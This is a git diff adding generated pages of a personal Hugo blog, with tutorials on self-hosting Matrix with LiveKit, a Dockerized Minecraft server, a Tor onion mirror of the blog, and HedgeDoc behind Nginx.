    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    \ No newline at end of file diff --git a/public/tags/matrix/page/1/index.html b/public/tags/matrix/page/1/index.html new file mode 100644 index 0000000..82ba79a --- /dev/null +++ b/public/tags/matrix/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/ + \ No newline at end of file diff --git a/public/tags/minecraft/index.html b/public/tags/minecraft/index.html new file mode 100644 index 0000000..9a8d126 --- /dev/null +++ b/public/tags/minecraft/index.html @@ -0,0 +1,10 @@ +Minecraft | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/minecraft/index.xml b/public/tags/minecraft/index.xml new file mode 100644 index 0000000..bd6f71a --- /dev/null +++ b/public/tags/minecraft/index.xml @@ -0,0 +1,259 @@ +Minecraft on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/Recent content in Minecraft on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    \ No newline at end of file diff --git a/public/tags/minecraft/page/1/index.html b/public/tags/minecraft/page/1/index.html new file mode 100644 index 0000000..f6e6435 --- /dev/null +++ b/public/tags/minecraft/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/ + \ No newline at end of file diff --git a/public/tags/nginx/index.html b/public/tags/nginx/index.html new file mode 100644 index 0000000..34fd652 --- /dev/null +++ b/public/tags/nginx/index.html @@ -0,0 +1,20 @@ +Nginx | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/nginx/index.xml b/public/tags/nginx/index.xml new file mode 100644 index 0000000..e2b1d5c --- /dev/null +++ b/public/tags/nginx/index.xml @@ -0,0 +1,1191 @@ +Nginx on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/Recent content in Nginx on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +]]>
    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

